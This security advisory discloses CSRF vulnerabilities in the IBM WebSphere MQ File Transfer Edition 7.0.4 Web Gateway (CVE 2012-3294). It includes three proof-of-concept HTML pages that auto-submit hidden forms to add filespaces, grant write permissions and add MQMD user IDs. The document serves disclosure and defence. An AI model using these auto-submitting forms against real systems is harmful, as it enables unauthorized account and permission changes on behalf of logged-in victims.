IBM WebSphere MQ File Transfer Edition Web Gateway CSRF Vulnerability

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IBM WebSphere MQ File Transfer Edition Web Gateway suffers from CSRF vulnerability

Credit:
The information has been provided by Nir Valtman.

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Vulnerable Systems:
* IBM WebSphere MQ File Transfer Edition 7.0.4

*Description:* Malicious user is able to add userspace, change permissions on existing userspace and add MQMD (MQ Message Descriptor) user IDs. All of the these vulnerabilities can be exploited using a CSRF (Cross Site Request Forgery) attack.

Few days ago the CVE has been published here<http://www-01.ibm.com/support/docview.wss?uid=swg21607482>

*Exploit Details:*
*1. CSRF To add user and define his quota on a userspace*
I created the following HTML page and then opened it by a logged-on user:

<html>

<head></head>

<body>

<form id="frm" method="post"
action="https://*[ip-address-and-port]* /wmqfteconsole/Filespaces"

<input type="hidden"
name="nirvcsrf" value="junk" />

<input type="hidden"
name="name" value="zzzzzz" />

<input type="hidden"
name="quota" value="15" />

<input type="hidden"
name="id" value="NewFileSpace" />

</form>

<script>

document.frm.submit();

</script>

</body>
</html>
See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 1]

*2. CSRF to add permissions on file spaces:*
I created the following HTML page and then opened it by a logged-on user:

<html>

<head></head>

<body>

<form id="frm" method="post"
action="https://*[ip-address-and-port]*
/wmqfteconsole/FileSpacePermisssions"

<input type="hidden"
name="nirvcsrf" value="junk" />

<input type="hidden"
name="user" value="bodek2" />

<input type="hidden"
name="write" value="authorized" />

<input type="hidden"
name="id" value="zzzzzz_TEMP_PERMISSIONS" />

</form>

<script>

document.frm.submit();

</script>

</body>
</html>

See the following screenshot, which follows the execution of CSRF attack:
[image: Inline image 2]

*2. CSRF to add MQMD user id:*
I created the following HTML page and then opened it by a logged-on user:

<html>

<head></head>

<body>

<form id="frm" method="post"
action="https://*[ip-address-and-port]*/wmqfteconsole/UploadUsers"

<input type="hidden"
name="nirvcsrf" value="junk" />

<input type="hidden"
name="userID" value="csrfUserId" />

<input type="hidden"
name="mqmdUserID" value="userIdTest" />

<input type="hidden"
name="id" value="NewUploadUser" />

</form>

<script>

document.frm.submit();

</script>

</body>

</html>

CVE Information:
2012-3294

Disclosure Timeline:
Published: 2012-08-13

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